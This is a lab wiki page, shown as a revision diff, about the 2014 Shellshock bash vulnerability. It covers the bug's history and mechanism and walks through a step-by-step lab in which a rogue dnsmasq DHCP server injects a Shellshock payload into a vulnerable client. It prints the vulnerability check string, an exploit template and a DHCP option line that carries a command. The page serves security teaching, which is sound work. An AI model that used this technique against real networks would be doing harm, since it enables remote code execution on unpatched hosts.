Difference between revisions of "Shellshock"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
(Added the References)
Line 7: Line 7:
* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
* Packages: dnsmasq
* Packages: dnsmasq
In order to complete these steps, you must have followed [[Some Other Documentation]] before.


== History ==
== History ==

Revision as of 16:13, 4 January 2022

Summary

This documentation is about the Shellshock bug found in 2014.

Requirements

  • Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
  • Packages: dnsmasq

History

Initial Discovery

On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.

Discovery of a bigger problem

After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.

Aftermath

The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.

Functionality

The Shellshock vulnerability is enumerated as an improper neutralization of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof Standards and Technology. It can be exploited to give an attacker remote codeexecution. The vulnerability occurs when defining a environment variable. So basicallyevery system where an attacker could control the content of an environment variablewas exploitable. This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.

With the export command, it is possible to export shell variables but also shellfunctions. In the bash version with the Shellshock vulnerability a function definitionstarted with ”(){” in the value of the exported variable. The vulnerability existedbecause bash does not stop processing after the function definition, it continues toparse and execute shell commands.Environment variables can be defined with the following command:

env variablename='<value>'

Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:

env x='() {.;}; <exploit code>'

Practical Shellshock DHCP Example

Setup

I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from this website and the latest version of Ubuntu from the official website, if you have a lack of memory just use the server version. For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.

Check Vulnerablity

After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:

env x='() { :;}; echo shellshocked' bash -c ""

Install & Configurating DNSMASQ

First we have to install the package dnsmasq:

apt-get install dnsmasq

After successfully installing dnsmasq we have to configure it. We can do that in the /etc/dnsmasq.conf. I changed the following lines:

port=0  
interface=ens33
dhcp-range=192.168.123.10,192.168.123.250,12h
dhcp-option-force=100,() { :; }; echo pwned

Now we need to restart the service and check if any errors occured.

service dnsmasq restart
service dnsmasq status

Configurating Client & Server IPs

Server

We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with

apt-get install netplan

Now we have to edit the file /etc/netplan/01-network.yaml. My netplan looks as follows:

network:
  version: 2
  renderer: networkd
  ethernets:
    ens33:
      addresses:
        - 192.168.123.1/24

After saving the file we need to apply the netplan we can do that with the command

sudo netplan apply

To check if the network interface got configured we can perform the command

ifconfig

Client

For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the /etc/network/interfaces file as follows:

auto eth0
iface eth0 inet dhcp

Perform the attack

When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:

sudo /etc/init.d/networking restart

As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.

Courses

References